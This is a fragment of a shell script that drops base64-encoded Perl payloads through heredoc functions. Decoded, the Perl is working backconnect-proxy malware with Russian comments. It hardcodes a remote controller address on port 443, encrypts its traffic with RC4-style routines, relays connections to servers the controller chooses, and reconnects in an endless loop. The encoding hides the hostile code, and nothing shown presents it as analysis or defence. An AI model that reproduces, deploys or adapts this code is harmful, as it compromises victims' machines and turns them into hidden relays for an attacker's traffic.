MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_53() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDEnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
